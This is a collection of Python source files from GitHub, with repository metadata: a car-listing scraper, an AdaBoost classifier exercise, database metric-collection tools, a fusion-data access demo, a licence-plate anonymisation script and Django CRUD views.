20)]\n    \n    \n    for page in url_list: \n        car_inventory = get_url_index(get_page(page))\n        for car in car_inventory:\n            data = get_data(get_page(car))\n            csv_writer(data)\n    \n    \n    \n\nif __name__ == '__main__': \n    main()\n", "repo_name": "AyonRabbani/car_price_predictor-", "sub_path": "car_scraper.py", "file_name": "car_scraper.py", "file_ext": "py", "file_size_in_byte": 3134, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "requests.get", "line_number": 14, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 19, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 89, "usage_type": "call"}]}
{"seq_id": "73801848549", "text": "\"\"\"\r\nCreated on Thu Dec 16 20:08:17 2021\r\n\r\n@author: User\r\n\"\"\"\r\nimport pandas as pd\r\nimport random\r\nfrom sklearn.naive_bayes import GaussianNB\r\nfrom sklearn.preprocessing import LabelEncoder\r\nimport math\r\n#reading data\r\ndata = pd.read_csv('data4.csv')\r\n#preprocessing our data\r\n#elimination of instances with missing value\r\ndata = data.dropna()\r\ndata = data.reset_index()\r\n#covertion of pclass column\r\nfor i in range(len(data)):\r\n    if data['Pclass'][i] == 1:\r\n        data['Pclass'][i] = 'one'\r\n    elif data['Pclass'][i] == 2:\r\n        data['Pclass'][i] = 'two'\r\n    else:\r\n        data['Pclass'][i] = 'three'\r\n#convertion of target class\r\nfor i in range(len(data)):\r\n    if data['Target_class'][i] == 1:\r\n        data['Target_class'][i] = 'one'\r\n    else:\r\n        data['Target_class'][i] = 'zero'\r\n#covertion of Age class\r\nfor i in range(len(data)):\r\n    if data['Age'][i] < 10:\r\n        data['Age'][i] = 'A'\r\n    elif 10 <= data['Age'][i] < 20:\r\n        data['Age'][i] = 'B'\r\n    elif 20 <= data['Age'][i] < 30:\r\n        data['Age'][i] = 'C'\r\n    elif 30 <= data['Age'][i] < 40:\r\n        data['Age'][i] = 'D'\r\n    elif 40 <= data['Age'][i] < 50:\r\n        data['Age'][i] = 'E'\r\n    else:\r\n        data['Age'][i] = 'F'\r\nlb = LabelEncoder()\r\nfor i in data:\r\n    data[i] = lb.fit_transform(data[i])\r\n#saving our data in array\r\ndataArray = []\r\nfor i in range(len(data)):\r\n    dataArray.append(data.loc[i])\r\n#initializing weights\r\nweightsList = [1/len(data)]*len(data)\r\n#list below is for correct predic staus\r\nstatusList = [False]*len(data)\r\n#algorithm below is for implementation of ada boost\r\n#using naive bayes as classifier\r\ngnb = GaussianNB()\r\n#number of boosting rounds\r\nk = 10\r\n#numbers of samples boost\r\nsamples_number = math.floor(len(data)*0.8)\r\nfor i in range(k):\r\n    dataSamples = random.choices(dataArray,weights = weightsList,k = samples_number)\r\n    dataFrameSamples = pd.DataFrame(dataSamples)\r\n    #learning based on selected samples\r\n    gnb.fit(dataFrameSamples[['Pclass','Sex','Age']],dataFrameSamples['Target_class'])\r\n    error = 0\r\n    for i in range(len(data)):\r\n        predictedLable = gnb.predict([data[['Pclass','Sex','Age']].iloc[i]])[0]\r\n        if predictedLable == data['Target_class'][i]:\r\n            statusList[i] = True\r\n        else:\r\n            statusList[i] = False\r\n            error += weightsList[i]\r\n    error /= len(data)\r\n    print('err:',error)\r\n    alfa = math.log((1-error)/error,math.e)/2\r\n    for i in range(len(data)):\r\n        if statusList[i] == True:\r\n            weightsList[i] *= math.e**(-1*alfa)\r\n        else:\r\n            weightsList[i] *= math.e**(alfa)\r\n    for i in range(len(weightsList)):\r\n        weightsList[i] /= sum(weightsList) \r\n    #creating confusion matrix\r\n    tp = 1\r\n    fn = 1\r\n    fp = 1\r\n    tn = 1\r\n    for i in range(len(data)):\r\n        predictedLable = gnb.predict([data[['Pclass','Sex','Age']].iloc[i]])[0]\r\n        if predictedLable == 1 and data['Target_class'][i] == 1:\r\n            tp += 1\r\n        elif predictedLable == 1 and data['Target_class'][i] == 0:\r\n            fn += 1\r\n        elif predictedLable == 0 and data['Target_class'][i] == 1:\r\n            fp += 1\r\n        else:\r\n            tn += 1\r\n    print('true positive:',tp-1)\r\n    print('false negative:',fn-1)\r\n    print('false positive:',fp-1)\r\n    print('true negative:',tn-1)\r\n    print('precision:',(tp)/(fp+tp))\r\n    print('recall:',(tp)/(fn+tp))\r\n    print('--------------------------------')", "repo_name": "mcaptain79/Data-Mining-Projects", "sub_path": "DM Projects/3/Codes and Reports/question3.py", "file_name": "question3.py", "file_ext": "py", "file_size_in_byte": 3453, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pandas.read_csv", "line_number": 12, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.LabelEncoder", "line_number": 45, "usage_type": "call"}, {"api_name": "sklearn.naive_bayes.GaussianNB", "line_number": 58, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 62, "usage_type": "call"}, {"api_name": "random.choices", "line_number": 64, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 65, "usage_type": "call"}, {"api_name": "math.log", "line_number": 78, "usage_type": "call"}, {"api_name": "math.e", "line_number": 78, "usage_type": "attribute"}, {"api_name": "math.e", "line_number": 81, "usage_type": "attribute"}, {"api_name": "math.e", "line_number": 83, "usage_type": "attribute"}]}
{"seq_id": "25869411698", "text": "from multiagents.utils.yaml_utils import read_yaml, read_prometheus_metrics_yaml\nfrom multiagents.utils.server import obtain_slow_queries, obtain_anomaly_time\nimport warnings\nfrom multiagents.tools.metric_monitor.anomaly_detection import prometheus\nimport numpy as np\nfrom termcolor import colored\nfrom multiagents.utils.database import DBArgs, Database\nfrom multiagents.knowledge.knowledge_extraction import KnowledgeExtraction\nimport time\nimport json\nimport os\n\ncurrent_diag_time = time.localtime()\ncurrent_diag_time = time.strftime(\"%Y-%m-%d-%H:%M:%S\", current_diag_time)\nif not os.path.exists(f\"./alert_results/{str(current_diag_time)}\"):\n    try:\n        os.makedirs(f\"./alert_results/{str(current_diag_time)}\")\n    except:\n        pass\n\n# diag_start_time, diag_end_time = obtain_anomaly_time()\n\npromethest_conf = read_yaml('PROMETHEUS', 'config/tool_config.yaml')\nbenchserver_conf = read_yaml('BENCHSERVER', 'config/tool_config.yaml')\npostgresql_conf = read_yaml('POSTGRESQL', 'config/tool_config.yaml')\ndatabase_server_conf = read_yaml('DATABASESERVER', 'config/tool_config.yaml')\n\nnode_exporter_instance = promethest_conf.get('node_exporter_instance')\npostgresql_exporter_instance = promethest_conf.get('postgresql_exporter_instance')\n\nprometheus_metrics = read_prometheus_metrics_yaml(config_path='config/prometheus_metrics.yaml', node_exporter_instance=node_exporter_instance, postgresql_exporter_instance=postgresql_exporter_instance)\n\n# configuration of the index advisor\nadvisor = \"db2advis\"  # option: extend, db2advis (fast)\n\n\n# [workload statistics] read from pg_stat_statements \ndbargs = DBArgs(\"postgresql\", config=postgresql_conf)\ndb = Database(dbargs, timeout=-1)\n\n\nWORKLOAD_FILE_NAME = \"workload_info.json\"\n# ANOMALY_FILE_NAME = \"anomalies/public_testing_set/testing_cases.json\"\nBATCH_ANOMALY_FILE_NAME = \"anomalies/public_testing_set/batch_testing_set.json\"\n# with open(WORKLOAD_FILE_NAME, 'w') as f:\n#     json.dump({'workload_statistics': '[]', 'slow_queries': '[]'}, f)\n\ndef get_workload_statistics():\n    with open(WORKLOAD_FILE_NAME, 'r') as f:\n        info = json.load(f)\n        return info[\"workload_statistics\"]\n\n# def set_workload_statistics(stats):\n#     if os.path.exists(WORKLOAD_FILE_NAME):\n#         with open(WORKLOAD_FILE_NAME, 'r') as rf:\n#             info = json.load(rf)\n#         info[\"workload_statistics\"] = stats\n#         with open(WORKLOAD_FILE_NAME, 'w') as f:\n#             json.dump(info, f)\n#     else:\n#         with open(WORKLOAD_FILE_NAME, 'w') as f:\n#             json.dump({'workload_statistics': stats, 'slow_queries': '[]'}, f)\n\ndef get_slow_queries(diag_id):\n    with open(BATCH_ANOMALY_FILE_NAME, 'r') as f:\n        info = json.load(f)\n    return info[diag_id][\"slow_queries\"]\n\n# def set_slow_queries(stats):\n#     if os.path.exists(WORKLOAD_FILE_NAME):\n#         with open(WORKLOAD_FILE_NAME, 'r') as rf:\n#             info = json.load(rf)\n#         info[\"workload_statistics\"] = stats\n#         with open(WORKLOAD_FILE_NAME, 'w') as f:\n#             json.dump(info, f)\n#     else:\n#         with open(WORKLOAD_FILE_NAME, 'w') as f:\n#             json.dump({'workload_statistics': '[]', 'slow_queries': stats}, f)\n\ndef get_workload_sqls(diag_id):\n    with open(BATCH_ANOMALY_FILE_NAME, 'r') as f:\n        info = json.load(f)\n    return info[diag_id][\"workload\"]\n\n# [diagnosis knowledge]\nknowledge_matcher = KnowledgeExtraction(\n    \"/multiagents/knowledge/root_causes_dbmind.jsonl\")\n\n\ndef obtain_values_of_metrics(start_time, end_time, metrics):\n\n    if end_time - start_time > 11000 * 3:\n        warnings.warn(\n            \"The time range ({}, {}) is too large, please reduce the time range\".format(\n                start_time, end_time))\n\n    required_values = {}\n\n    for metric in metrics:\n        metric_values = prometheus('api/v1/query_range',\n                                   {'query': metric,\n                                    'start': start_time,\n                                    'end': end_time,\n                                    'step': '3'})\n        if \"data\" in metric_values and metric_values[\"data\"][\"result\"] != []:\n            metric_values = metric_values[\"data\"][\"result\"][0][\"values\"]\n\n            # compute the average value of the metric\n            # max_value = np.max(np.array([float(value)\n            #                 for _, value in metric_values]))\n            values = [float(value)\n                            for _, value in metric_values]\n\n            required_values[metric.split('{')[0]] = values\n        else:\n            #raise Exception(\"No metric values found for the given time range\")\n            # print(colored(f\"No metric values found for {start_time}-{end_time} of {metric}\", \"red\"))\n            pass\n\n    return required_values\n\ndef processed_values(data):\n    if data == []:\n        raise Exception(\"No metric values found for the given time range\")\n    \n    # compute processed values for the metric\n    # max (reserve two decimal places)\n    max_value = round(np.max(np.array(data)), 2)\n    # min\n    min_value = round(np.min(np.array(data)), 2)\n    # mean\n    mean_value = round(np.mean(np.array(data)), 2)\n    # deviation\n    deviation_value = round(np.std(np.array(data)), 2)\n    # evenly sampled 10 values (reserve two decimal places)\n    evenly_sampled_values = [round(data[i], 2) for i in range(0, len(data), len(data) // 10)]\n\n    # describe the above five values in a string\n    return f\"the max value is {max_value}, the min value is {min_value}, the mean value is {mean_value}, the deviation value is {deviation_value}, and the evenly_sampled_values are {evenly_sampled_values}.\"\n", "repo_name": "TsinghuaDatabaseGroup/lmdb", "sub_path": "multiagents/tools/metrics.py", "file_name": "metrics.py", "file_ext": "py", "file_size_in_byte": 5613, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "71", "api": [{"api_name": "time.localtime", "line_number": 13, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 17, "usage_type": "call"}, {"api_name": "multiagents.utils.yaml_utils.read_yaml", "line_number": 23, "usage_type": "call"}, {"api_name": "multiagents.utils.yaml_utils.read_yaml", "line_number": 24, "usage_type": "call"}, {"api_name": "multiagents.utils.yaml_utils.read_yaml", "line_number": 25, "usage_type": "call"}, {"api_name": "multiagents.utils.yaml_utils.read_yaml", "line_number": 26, "usage_type": "call"}, {"api_name": "multiagents.utils.yaml_utils.read_prometheus_metrics_yaml", "line_number": 31, "usage_type": "call"}, {"api_name": "multiagents.utils.database.DBArgs", "line_number": 38, "usage_type": "call"}, {"api_name": "multiagents.utils.database.Database", "line_number": 39, "usage_type": "call"}, {"api_name": "json.load", "line_number": 50, "usage_type": "call"}, {"api_name": "json.load", "line_number": 66, "usage_type": "call"}, {"api_name": "json.load", "line_number": 82, "usage_type": "call"}, {"api_name": "multiagents.knowledge.knowledge_extraction.KnowledgeExtraction", "line_number": 86, "usage_type": "call"}, {"api_name": "warnings.warn", "line_number": 93, "usage_type": "call"}, {"api_name": "multiagents.tools.metric_monitor.anomaly_detection.prometheus", "line_number": 100, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 128, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 128, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 130, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 130, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 132, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 132, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 134, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 134, "usage_type": "call"}]}
{"seq_id": "70752683109", "text": "import os\nimport pathlib\nfrom spdm.data.File import File\nfrom spdm.data.Entry import open_entry\nfrom spdm.utils.logger import logger\n\nWORKSPACE = \"/home/salmon/workspace\"  # \"/ssd01/salmon_work/workspace/\"\nOUTPUT_PATH = f\"{WORKSPACE}/output\"\n\nos.environ[\"SP_DATA_MAPPING_PATH\"] = f\"{WORKSPACE}/fytok_data/mapping\"\n\n\nif __name__ == '__main__':\n\n    DATA_PATH = pathlib.Path(f\"{WORKSPACE}/fytok_data/gfiles\")\n\n    # eq0 = open_entry(f\"file+geqdsk:///{DATA_PATH.as_posix()}/g063982.04800\", mode=\"r\").fetch()\n\n    # eq1 = open_entry(DATA_PATH/\"g063982.04800\", mode=\"r\", format=\"geqdsk\").fetch()\n\n    # logger.debug(eq0)\n\n    # logger.debug(eq1)\n\n    # eq2 = open_entry(f\"east+mdsplus://{WORKSPACE}/fytok_data/mdsplus/~t/?enable=efit_east\", shot=70745)\n\n    # # eq2 = open_entry(f\"east+mdsplus://202.127.204.12\", shot=70745)\n\n    # logger.debug(eq2.child(\"equilibrium/time_slice/0/boundary/outline/r\").fetch())\n\n    # eq3 = open_entry(f\"cfetr\")\n\n    # logger.debug(eq3.child(\"wall/description_2d/0/limiter/unit/0/outline/r\").fetch())\n\n    shot_num = 70754\n\n    time_slice = 10\n\n    entry = open_entry(f\"east+mdsplus://202.127.204.12?enable=efit_east&shot={shot_num}\")\n\n    data = {\n        \"wall\": entry.child(f\"wall\"),\n        \"equilibrium\": {\"time_slice\": [entry.child(f\"equilibrium/time_slice/{time_slice}\")]}\n    }\n\n    with File(f\"{OUTPUT_PATH}/g{shot_num}.gfile\", mode=\"w\", format=\"geqdsk\") as fid:\n        fid.write(data, description=\"equilibrium\")\n", "repo_name": "simpla-fusion/spdm", "sub_path": "examples/demo_entry.py", "file_name": "demo_entry.py", "file_ext": "py", "file_size_in_byte": 1451, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.environ", "line_number": 10, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 15, "usage_type": "call"}, {"api_name": "spdm.data.Entry.open_entry", "line_number": 39, "usage_type": "call"}, {"api_name": "spdm.data.File.File", "line_number": 46, "usage_type": "call"}]}
{"seq_id": "32639458533", "text": "import sys\nimport os\nimport cv2\nimport numpy as np\n\noriginal_image = None\nvalid_rects = None\n\ndef car_number_detection():\n    image_file_name = 'original.png'\n\n    global original_image\n    original_image = cv2.imread(image_file_name)\n\n    gray_image = gray_scale(original_image)\n    save_image(gray_image, image_file_name, 'gray')\n\n    threshold_image = adaptive_threshold(gray_image)\n    save_image(threshold_image, image_file_name, 'threshold')\n\n    (contours, contour_image) = get_contours(threshold_image)\n    save_image(contour_image, image_file_name, 'contour')\n\n    (rects, rect_contour_image) = rect_contours(contours)\n    save_image(rect_contour_image, image_file_name, 'rect')\n\n    global valid_rects\n    (valid_rects, valid_rect_image) = validate_rect(rects)\n    save_image(valid_rect_image, image_file_name, 'valid-rect')\n\n    result_idxs = validate_rect_group(valid_rects)\n\n    detection_image = detection(result_idxs)\n    save_image(detection_image, image_file_name, 'detection')\n\n## 이미지 저장\n# image : source image\n# image_file_name : image name\n# middle_name : image's middle name\ndef save_image(image, image_file_name, middle_name):\n    image_name, image_extension = os.path.splitext(image_file_name)\n    cv2.imwrite(image_name + '-' + middle_name + image_extension, image)\n\n## temp image를 생성해 주는 함수\n# @return: original_image와 똑같은 사이즈의 temp image\ndef create_temp_image():\n    # original_image 의 크기를 가져옴\n    global original_image\n    height, width, channel = original_image.shape\n\n    # 이미지 생성을 위해서 이미지 크기의 빈 array 선언\n    temp = np.zeros((height, width, channel), dtype=np.uint8)\n\n    return temp\n\n## 이미지 흑백으로 변경\n# image : source image\n# @return gray scale image\ndef gray_scale(image):\n    # 색 변경. gray scale로 변경\n    return cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\n## 이미지를 임계치 값으로 변경\n# image : source image\n# @return thresholded image\ndef adaptive_threshold(image):\n    # 노이즈 제거\n    blur = cv2.GaussianBlur(image, ksize=(5,5), sigmaX=0)\n\n    # 이미지의 threshold 설정\n    return cv2.adaptiveThreshold(\n        blur,\n        maxValue=255.0,\n        adaptiveMethod=cv2.ADAPTIVE_THRESH_GAUSSIAN_C,\n        thresholdType=cv2.THRESH_BINARY_INV,\n        blockSize=19,\n        C=9\n    )\n\n## 이미지의 윤곽선을 찾아줌\n# image : source image\n# @return (contour list, contour image)\ndef get_contours(image):\n    # 윤곽선 찾기\n    contours, _ = cv2.findContours(\n        image,\n        mode=cv2.RETR_LIST,\n        method=cv2.CHAIN_APPROX_SIMPLE\n    )\n\n    # 빈 이미지 생성\n    contour_image = create_temp_image()\n\n    # 윤곽선을 그려줌\n    cv2.drawContours(contour_image, contours=contours, contourIdx=-1, color=(255, 255, 255))\n\n    return contours, contour_image\n\n## 윤곽선을 사각형 모양으로 그리기 위한 함수\n# contours: 윤곽선 목록\n# @return: 사각형 목록, 사각형 이미지\ndef rect_contours(contours):\n    # 사각형의 위치 정보를 저장하기 위해 선언\n    rects = []\n    # 이미지 저장을 위한 이미지 생성\n    rect_contour_image = create_temp_image()\n\n    for contour in contours:\n        # 윤곽선의 x, y 좌표, 폭, 높이를 가져옴\n        x, y, w, h = cv2.boundingRect(contour)\n        \n        # 이미지에 사각형을 그려줌\n        cv2.rectangle(rect_contour_image, pt1=(x,y), pt2=(x+w,y+h), color=(255,255,255), thickness=2)\n\n        # 사각형 정보를 넣어줌\n        # cx: x좌표의 중심, cy: y 좌표의 중심\n        rects.append({\n            'contour': contour,\n            'x': x,\n            'y': y,\n            'w': w,\n            'h': h,\n            'cx': x + (w / 2),\n            'cy': y + (h / 2)\n        })\n\n    return rects, rect_contour_image\n\n## 사각형 중 유효한 사각형를 추출\n# rects : 사각형 목록\n# @return 유효한 사각형 목록, 유효한 사각형 이미지\ndef validate_rect(rects):\n    # 사각형의 최소 넓이\n    MIN_AREA = 80\n    # 사각형의 최소 폭, 높이\n    MIN_WIDTH, MIN_HEIGHT = 2, 8\n    # 사각형의 최소, 최대 가로 세로 비율\n    MIN_RATIO, MAX_RATIO = 0.25, 1.0\n    # 유효한 사각형 목록\n    valid_rects = []\n    # 유효한 사각형에 부여되는 index\n    idx = 0\n    # 이미지 저장을 위한 이미지 생성\n    valid_rect_image = create_temp_image()\n\n    for rect in rects:\n        # 넓이\n        area = rect['w'] * rect['h']\n        # 비율\n        ratio = rect['w'] / rect['h']\n\n        if area > MIN_AREA \\\n        and rect['w'] > MIN_WIDTH \\\n        and rect['h'] > MIN_HEIGHT \\\n        and MIN_RATIO < ratio < MAX_RATIO:\n            # 인덱스를 부여하고 valid_rects에 추가\n            rect['idx'] = idx\n            idx += 1\n            valid_rects.append(rect)\n            # 사각형 추가\n            cv2.rectangle(valid_rect_image, pt1=(rect['x'], rect['y']), pt2=(rect['x']+rect['w'], rect['y']+rect['h']), color=(255,255,255), thickness=2)\n\n    return valid_rects, valid_rect_image\n\n## 유효한 사각형 그룹을 가져오는 함수, recursive function\n# rects : 사각형 목록\n# @return 유효한 사각형 그룹의 목록\ndef validate_rect_group(rects):\n    # 사각형의 대각선 길이의 5배가 최대 간격\n    MAX_DIAG_MULTIPLYER = 5\n    # 사각형의 중심 최대 각도\n    MAX_ANGLE_DIFF = 12.0\n    # 사각형의 면적 차이\n    MAX_AREA_DIFF = 0.5\n    # 사각형의 넓이 차이\n    MAX_WIDTH_DIFF = 0.8\n    # 사각형의 높이 차이\n    MAX_HEIGHT_DIFF = 0.2\n    # 사각형의 그룹의 최소 갯수\n    MIN_N_MATCHED = 3\n\n    matched_result_idxs = []\n\n    for rect1 in rects:\n        matched_rect_idxs = []\n\n        for rect2 in rects:\n            if rect1['idx'] == rect2['idx']:\n                continue\n\n            # 각을 구하기 위한 중심 거리 계산\n            dx = abs(rect1['cx'] - rect2['cx'])\n            dy = abs(rect1['cy'] - rect2['cy'])\n\n            # 각 계산\n            if dx == 0:\n                angle_diff = 90\n            else:\n                angle_diff = np.degrees(np.arctan(dy/dx))\n\n            # rect1의 대각선 길이\n            diagonal1 = np.sqrt(rect1['w'] ** 2 + rect1['h'] ** 2)\n\n            # 중심 간격\n            distance = np.linalg.norm(np.array([rect1['cx'], rect1['cy']]) - np.array([rect2['cx'], rect2['cy']]))\n\n            # 면적 비율\n            rect1_area = rect1['w'] * rect1['h']\n            rect2_area = rect2['w'] * rect2['h']\n            area_diff = abs(rect1_area - rect2_area) / rect1_area\n\n            # 폭의 비율\n            width_diff = abs(rect1['w'] - rect2['w']) / rect1['w']\n\n            # 높이의 비율\n            height_diff = abs(rect1['h'] - rect2['h']) / rect1['h']\n\n            # 조건 확인\n            if distance < diagonal1 * MAX_DIAG_MULTIPLYER \\\n            and angle_diff < MAX_ANGLE_DIFF \\\n            and area_diff < MAX_AREA_DIFF \\\n            and width_diff < MAX_WIDTH_DIFF \\\n            and height_diff < MAX_HEIGHT_DIFF:\n                matched_rect_idxs.append(rect2['idx'])\n\n        # rect1도 넣어준다.\n        matched_rect_idxs.append(rect1['idx'])\n\n        # rect group이 기준 이하면 결과에 포함하지 않음\n        if len(matched_rect_idxs) < MIN_N_MATCHED:\n            continue\n        else:\n            # 결과에 포함\n            matched_result_idxs.append(matched_rect_idxs)\n            \n            # 매칭이 안된 것끼리 다시 진행\n            unmatched_rect_idxs = []\n\n            for rect in rects:\n                if rect['idx'] not in matched_rect_idxs:\n                    unmatched_rect_idxs.append(rect['idx'])\n\n            global valid_rects\n            unmatched_rect = np.take(valid_rects, unmatched_rect_idxs)\n\n            # recursive call\n            recursive_rect_list = validate_rect_group(unmatched_rect)\n\n            # recursive 결과 취합\n            for idx in recursive_rect_list:\n                matched_result_idxs.append(idx)\n\n            break\n    \n    return matched_result_idxs\n\n## 최종적으로 detection하여 비식별화하기 위한 함수\n# result_idxs : 최종적으로 선택된 group list\n# @return 비식별 처리 된 image\ndef detection(result_idxs):\n    global valid_rects\n    global original_image\n    # 최종 사각형 저장하기 위한 배열\n    result_group = []\n\n    for idx in result_idxs:\n        result_group.append(np.take(valid_rects, idx))\n\n    for group in result_group:\n        min_x, min_y = sys.maxsize, sys.maxsize\n        max_x, max_y = sys.maxsize * -1, sys.maxsize * -1\n\n        for rect in group:\n            min_x = min_x if min_x < rect['x'] else rect['x']\n            min_y = min_y if min_y < rect['y'] else rect['y']\n            max_x = max_x if max_x > rect['x']+rect['w'] else rect['x']+rect['w']\n            max_y = max_y if max_y > rect['y']+rect['h'] else rect['y']+rect['h']\n\n        cv2.rectangle(original_image, pt1=(min_x, min_y), pt2=(max_x, max_y), color=(0, 0, 0), thickness=cv2.FILLED)\n\n    return original_image\n            \n\nif __name__ == '__main__':\n    car_number_detection()\n\n", "repo_name": "function-test/Car-Number-Detect", "sub_path": "car_number_detection.py", "file_name": "car_number_detection.py", "file_ext": "py", "file_size_in_byte": 9158, "program_lang": "python", "lang": "ko", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "cv2.imread", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path", "line_number": 41, "usage_type": "attribute"}, {"api_name": "cv2.imwrite", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 52, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 61, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 61, "usage_type": "attribute"}, {"api_name": "cv2.GaussianBlur", "line_number": 68, "usage_type": "call"}, {"api_name": "cv2.adaptiveThreshold", "line_number": 71, "usage_type": "call"}, {"api_name": "cv2.ADAPTIVE_THRESH_GAUSSIAN_C", "line_number": 74, "usage_type": "attribute"}, {"api_name": "cv2.THRESH_BINARY_INV", "line_number": 75, "usage_type": "attribute"}, {"api_name": "cv2.findContours", "line_number": 85, "usage_type": "call"}, {"api_name": "cv2.RETR_LIST", "line_number": 87, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_SIMPLE", "line_number": 88, "usage_type": "attribute"}, {"api_name": "cv2.drawContours", "line_number": 95, "usage_type": "call"}, {"api_name": "cv2.boundingRect", "line_number": 110, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 113, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 161, "usage_type": "call"}, {"api_name": "numpy.degrees", "line_number": 199, "usage_type": "call"}, {"api_name": "numpy.arctan", "line_number": 199, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 202, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 205, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 205, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 205, "usage_type": "call"}, {"api_name": "numpy.take", "line_number": 244, "usage_type": "call"}, {"api_name": "numpy.take", "line_number": 267, "usage_type": "call"}, {"api_name": "sys.maxsize", "line_number": 270, "usage_type": "attribute"}, {"api_name": "sys.maxsize", "line_number": 271, "usage_type": "attribute"}, {"api_name": "cv2.rectangle", "line_number": 279, "usage_type": "call"}, {"api_name": "cv2.FILLED", "line_number": 279, "usage_type": "attribute"}]}
{"seq_id": "7400374726", "text": "from django.shortcuts import redirect\nfrom django.urls import reverse_lazy\nfrom django.views.generic import ListView, CreateView, UpdateView, DeleteView\nfrom inventory.models import HeadingCapacity\nfrom inventory.forms import HeadingCapacityForm\nfrom django.http import JsonResponse\n\n\nclass HeadingCapacityListView(ListView):\n    model = HeadingCapacity\n    template_name = 'subitemcap/list.html'\n    success_url = reverse_lazy('inv:list-sub-item-cap')\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context['heading'] = 'Matenimiento Rubro Capacidad'\n        context['pageview'] = 'Rubro Capacidad'\n        context['object_list'] = HeadingCapacity.objects.filter(state=True)\n        context['create_url'] = reverse_lazy('inv:create-sub-item-cap')\n        context['url_list'] = reverse_lazy('inv:list-sub-item-cap')\n        return context\n\n\nclass HeadingCapacityCreateView(CreateView):\n    model = HeadingCapacity\n    form_class = HeadingCapacityForm\n    template_name = \"subitemcap/create.html\"\n    success_url = reverse_lazy('inv:list-sub-item-cap')\n\n    def post(self, request, *args, **kwargs):\n        data = {}\n        try:\n            if request.is_ajax():\n                form = self.form_class(request.POST)\n                if form.is_valid():\n                    form.save()\n                    message = f'Capacidad Rubro registrado correctamente'\n                    error = 'No han ocurrido errores'\n                    response = JsonResponse({'message': message, 'error': error})\n                    response.status_code = 201\n                    return response\n                else:\n                    message = f'Capacidad Rubro no se pudo registrar!'\n                    error = form.errors\n                    response = JsonResponse({'message': message, 'error': error})\n                    response.status_code = 400\n                    return response\n        except Exception as e:\n            data['error'] = str(e)\n        return JsonResponse(data)\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context['title'] = 'Creación de Capacidad Rubro'\n        context['action'] = 'add'\n        context['list_url'] = reverse_lazy('inv:list-sub-item-cap')\n        return context\n\n\nclass HeadingCapacityUpdateView(UpdateView):\n    model = HeadingCapacity\n    form_class = HeadingCapacityForm\n    template_name = \"tipo/update.html\"\n    success_url = reverse_lazy('inv:list-sub-item-cap')\n\n    def post(self, request, *args, **kwargs):\n        data = {}\n        try:\n           if request.is_ajax():\n            form = self.form_class(request.POST, instance=self.get_object())\n            if form.is_valid():\n                form.save()\n                message = f'Capacidad Rubro actualizado correctamente'\n                error = 'No hay error'\n                response = JsonResponse({'message': message, 'error': error})\n                response.status_code = 201\n                return response\n            else:\n                message = f'Capacidad Rubro se pudo actualizar!'\n                error = form.errors\n                response = JsonResponse({'message': message, 'error': error})\n                response.status_code = 400\n                return response\n        except Exception as e:\n            data['error'] = str(e)\n        return JsonResponse(data)\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context['title'] = 'Actualizar Tipo'\n        context['action'] = 'edit'\n        context['list_url'] = reverse_lazy('inv:list-sub-item-cap')\n        return context\n\n\nclass HeadingCapacityDeleteView(DeleteView):\n    model = HeadingCapacity\n    success_url = reverse_lazy('inv:list-sub-item-cap')\n\n    def delete(self, request, *args, **kwargs):\n        if request.is_ajax():\n            obj = self.get_object()\n            obj.state = False\n            obj.save()\n            message = f'Capacidad Rubro eliminada correctamente!'\n            errors = 'No se encontraron errores'\n            response = JsonResponse({'message': message, 'error': errors})\n            response.status_code = 201\n            return response\n        else:\n            return redirect('inv:list-sub-item-cap')\n", "repo_name": "DevApa/seguridad", "sub_path": "inventory/views/subitemcap/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 4292, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.views.generic.ListView", "line_number": 9, "usage_type": "name"}, {"api_name": "inventory.models.HeadingCapacity", "line_number": 10, "usage_type": "name"}, {"api_name": "django.urls.reverse_lazy", "line_number": 12, "usage_type": "call"}, {"api_name": 